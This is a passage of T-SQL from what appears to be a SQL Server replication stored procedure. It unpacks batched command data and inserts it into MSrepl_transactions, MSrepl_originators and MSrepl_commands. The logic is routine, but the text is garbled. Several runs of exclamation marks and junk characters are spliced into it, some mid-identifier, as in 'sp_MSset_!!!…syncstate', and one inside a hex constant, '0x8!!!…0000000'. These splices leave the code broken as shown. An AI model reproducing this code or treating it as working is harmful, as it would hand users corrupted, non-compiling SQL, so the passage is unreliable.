			select @22seqno = substring( @22data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @22data, 1, 10 ), @22seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @22seqno = @21seqno 
	end
	else
	begin
		select @22seqno = substring( @22data, 11, 10 ) 
	    IF convert( int, substring( @22data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @22data, 1, 10 ), @22seqno, @date)
	end

    IF @23data is null
      goto INSERT_CMDS
	if(substring( @23data, 11, 10 ) = substring( @22data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @23data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @23seqno = substring( @23data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @23data, 1, 10 ), @23seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @23seqno = @22seqno 
	end
	else
	begin
		select @23seqno = substring( @23data, 11, 10 ) 
	    IF convert( int, substring( @23data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @23data, 1, 10 ), @23seqno, @date)
	end

    IF @24data is null
      goto INSERT_CMDS
	if(substring( @24data, 11, 10 ) = substring( @23data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @24data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @24seqno = substring( @24data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @24data, 1, 10 ), @24seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @24seqno = @23seqno 
	end
	else
	begin
		select @24seqno = substring( @24data, 11, 10 ) 
	    IF convert( int, substring( @24data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @24data, 1, 10 ), @24seqno, @date)
	end

    IF @25data is null
      goto INSERT_CMDS
	if(substring( @25data, 11, 10 ) = substring( @24data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @25data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @25seqno = substring( @25data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @25data, 1, 10 ), @25seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @25seqno = @24seqno 
	end
	else
	begin
		select @25seqno = substring( @25data, 11, 10 ) 
	    IF convert( int, substring( @25data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @25data, 1, 10 ), @25seqno, @date)
	end

    IF @26data is null
      goto INSERT_CMDS
	if(substring( @26data, 11, 10 ) = substring( @25data, 11, 10 )) --same tran
	begin!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<("+Uv
	    IF convert( int, substring( @26data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @26seqno = substring( @26data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @26data, 1, 10 ), @26seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @26seqno = @25seqno 
	end
	else
	begin
		select @26seqno = substring( @26data, 11, 10 ) 
	    IF convert( int, substring( @26data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @26data, 1, 10 ), @26seqno, @date)
	end

INSERT_CMDS:

    if datalength( @data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @data, 34, 2 )
        select @orig_srv_len = substring( @data, 36, 2 )
        select @orig_db_len = substring( @data, 38, 2 )

        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @data, 40 + @cmd_data_len, @orig_srv_len ), substring( @data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

		select @cmd_type = substring(@data,29,4) 
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @seqno
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@seqno,
			@cmd_type, 
			substring(@data,21,4), 
			@originator_id, 
			substring(@data,25,4), 
			convert(bit,substring(@data,33,1)), 
			substring(@data,40,@cmd_data_len) )

    end
    
    IF @1data is null
      return
    IF datalength( @1data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @1data, 34, 2 )
        select @orig_srv_len = substring( @1data, 36, 2 )
        select @orig_db_len = substring( @1data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @1data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @1data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @1data, 40 + @cmd_data_len, @orig_srv_len ), substring( @1data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@1data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@1data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @1seqno
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@1seqno, 
			@cmd_type, 
			substring(@1data,21,4), 
			@originator_id, 
			substring(@1data,25,4), 
			convert(bit,substring(@1data,33,1)), 
			substring(@1data,40,@cmd_data_len) )
    end

    IF @2data is null
      return
    IF datalength( @2data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @2data, 34, 2 )
        select @orig_srv_len = substring( @2data, 36, 2 )
        select @orig_db_len = substring( @2data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @2data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @2data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @2data, 40 + @cmd_data_len, @orig_srv_len ), substring( @2data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@2data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@2data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @2seqno
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@2seqno,
			@cmd_type, 
			substring(@2data,21 ,4), 
			@originator_id, 
			substring(@2data,25 ,4), 
			convert(bit,substring(@2data,33 ,1)), 
			substring(@2data,40,@cmd_data_len) )

    end

    IF @3data is null
      return
    IF datalength( @3data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @3data, 34, 2 )
        select @orig_srv_len = substring( @3data, 36, 2 )
        select @orig_db_len = substring( @3data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @3data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @3data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @3data, 40 + @cmd_data_len, @orig_srv_len ), substring( @3data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@3data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@3data,21,4)
			select @cmd_type = 38 - @cmd_type
			select @xact_seqno = substring( @3data, 11, 10 )
			exec sp_MSset_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($Zvsyncstate @publisher_id, @publisher_db, @artid, @cmd_type, @3seqno
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@3seqno,
			@cmd_type, 
			substring(@3data,21 ,4), 
			@originator_id, 
			substring(@3data,25 ,4), 
			convert(bit,substring(@3data,33 ,1)), 
			substring(@3data,40,@cmd_data_len) )

    end

    IF @4data is null
      return
    IF datalength( @4data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @4data, 34, 2 )
        select @orig_srv_len = substring( @4data, 36, 2 )
        select @orig_db_len = substring( @4data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @4data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @4data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @4data, 40 + @cmd_data_len, @orig_srv_len ), substring( @4data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@4data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@4data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @4seqno
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@4seqno,
			@cmd_type, 
			substring(@4data,21 ,4), 
			@originator_id, 
			substring(@4data,25 ,4), 
			convert(bit,substring(@4data,33 ,1)), 
			substring(@4data,40,@cmd_data_len) )

    end

    IF @5data is null
      return
    IF datalength( @5data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @5data, 34, 2 )
        select @orig_srv_len = substring( @5data, 36, 2 )
        select @orig_db_len = substring( @5data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @5data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @5data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @5data, 40 + @cmd_data_len, @orig_srv_len ), substring( @5data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@5data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@5data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @5seqno
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@5seqno,
			@cmd_type, 
			substring(@5data,21 ,4), 
			@originator_id, 
			substring(@5data,25 ,4), 
			convert(bit,substring(@5data,33 ,1)), 
			substring(@5data,40,@cmd_data_len) )

    end

    IF @6data is null
      return
    IF datalength( @6data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @6data, 34, 2 )
        select @orig_srv_len = substring( @6data, 36, 2 )
        select @orig_db_len = substring( @6data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @6data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @6data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @6data, 40 + @cmd_data_len, @orig_srv_len ), substring( @6data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@6data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@6data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @6seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@6seqno,
			@cmd_type, 
			substring(@6data,21 ,4), 
			@originator_id, 
			substring(@6data,25 ,4), 
			convert(bit,substring(@6data,33 ,1)), 
			substring(@6data,40,@cmd_data_len) )

    end

    IF @7data is null
      return
    IF datalength( @7data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @7data, 34, 2 )
        select @orig_srv_len = substring( @7data, 36, 2 )
        select @orig_db_len = substring( @7data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @7data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @7data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @7data, 40 + @cmd_data_len, @orig_srv_len ), substring( @7data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@7data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@7data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @7seqno  
			select @cmd_type = (38 - @cmd_type) | 0x8!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(*@v0000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@7seqno,
			@cmd_type, 
			substring(@7data,21 ,4), 
			@originator_id, 
			substring(@7data,25 ,4), 
			convert(bit,substring(@7data,33 ,1)), 
			substring(@7data,40,@cmd_data_len) )

    end

    IF @8data is null
      return
    IF datalength( @8data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @8data, 34, 2 )
        select @orig_srv_len = substring( @8data, 36, 2 )
        select @orig_db_len = substring( @8data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @8data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @8data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @8data, 40 + @cmd_data_len, @orig_srv_len ), substring( @8data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@8data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@8data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @8seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@8seqno,
			@cmd_type, 
			substring(@8data,21 ,4), 
			@originator_id, 
			substring(@8data,25 ,4), 
			convert(bit,substring(@8data,33 ,1)), 
			substring(@8data,40,@cmd_data_len) )
    end

    IF @9data is null
      return
    IF datalength( @9data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @9data, 34, 2 )
        select @orig_srv_len = substring( @9data, 36, 2 )
        select @orig_db_len = substring( @9data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and upper(srvname) = upper(convert(sysname, substring( @9data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @9data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @9data, 40 + @cmd_data_len, @orig_srv_len ), substring( @9data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@9data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@9data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @9seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@9seqno,
			@cmd_type, 
			substring(@9data,21 ,4), 
			@originator_id, 
			substring(@9data,25 ,4), 
			convert(bit,substring(@9data,33 ,1)), 
			substring(@9data,40,@cmd_data_len) )
    end

    IF @10data is null
      return
    IF datalength( @10data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @10data, 34, 2 )
        select @orig_srv_len = substring( @10data, 36, 2 )
        select @orig_db_len = substring( @10data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @10data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @10data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @10data, 40 + @cmd_data_len, @orig_srv_len ), substring( @10data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@10data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@10data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @10seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@10seqno,
			@cmd_type, 
			substring(@10data,21 ,4), 
			@originator_id, 
			substring(@10data,25 ,4), 
			convert(bit,substring(@10data,33 ,1)), 
			substring(@10data,40,@cmd_data_len) )

    end

    IF @11data is null
      return
    IF datalength( @11data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @11data, 34, 2 )
        select @orig_srv_len = substring( @11data, 36, 2 )
        select @orig_db_len = substring( @11data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @11data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @11data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @11data, 40 + @cmd_data_len, @orig_srv_len ), substring( @11data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@11data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@11data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @11seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(.tFv type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@11seqno,
			@cmd_type, 
			substring(@11data,21 ,4), 
			@originator_id, 
			substring(@11data,25 ,4), 
			convert(bit,substring(@11data,33 ,1)), 
			substring(@11data,40,@cmd_data_len) )
    end

    IF @12data is null
      return
    IF datalength( @12data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @12data, 34, 2 )
        select @orig_srv_len = substring( @12data, 36, 2 )
        select @orig_db_len = substring( @12data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @12data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @12data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @12data, 40 + @cmd_data_len, @orig_srv_len ), substring( @12data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@12data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@12data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @12seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@12seqno,
			@cmd_type, 
			substring(@12data,21 ,4), 
			@originator_id, 
			substring(@12data,25 ,4), 
			convert(bit,substring(@12data,33 ,1)), 
			substring(@12data,40,@cmd_data_len) )
    end


    IF @13data is null
      return
    IF datalength( @13data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @13data, 34, 2 )
        select @orig_srv_len = substring( @13data, 36, 2 )
        select @orig_db_len = substring( @13data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @13data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @13data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @13data, 40 + @cmd_data_len, @orig_srv_len ), substring( @13data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@13data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@13data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @13seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@13seqno,
			@cmd_type, 
			substring(@13data,21 ,4), 
			@originator_id, 
			substring(@13data,25 ,4), 
			convert(bit,substring(@13data,33 ,1)), 
			substring(@13data,40,@cmd_data_len) )
    end

    IF @14data is null
      return
    IF datalength( @14data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @14data, 34, 2 )
        select @orig_srv_len = substring( @14data, 36, 2 )
        select @orig_db_len = substring( @14data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @14data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @14data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @14data, 40 + @cmd_data_len, @orig_srv_len ), substring( @14data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@14data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@14data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @14seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@14seqno,
			@cmd_type, 
			substring(@14data,21 ,4), 
			@originator_id, 
			substring(@14data,25 ,4), 
			convert(bit,substring(@14data,33 ,1)), 
			substring(@14data,40,@cmd_data_len) )
    end


    IF @15data is null
      return
    IF datalength( @15data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @15data, 34, 2 )
        select @orig_srv_len = substring( @15data, 36, 2 )
        select @orig_db_len = substring( @15data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @15data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @15data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @15data, 40 + @cmd_data_len, @orig_srv_len ), substring( @15data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@15data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@15data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @15seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<((v, partial_command, command)
			VALUES (@publisher_database_id, 
			@15seqno,
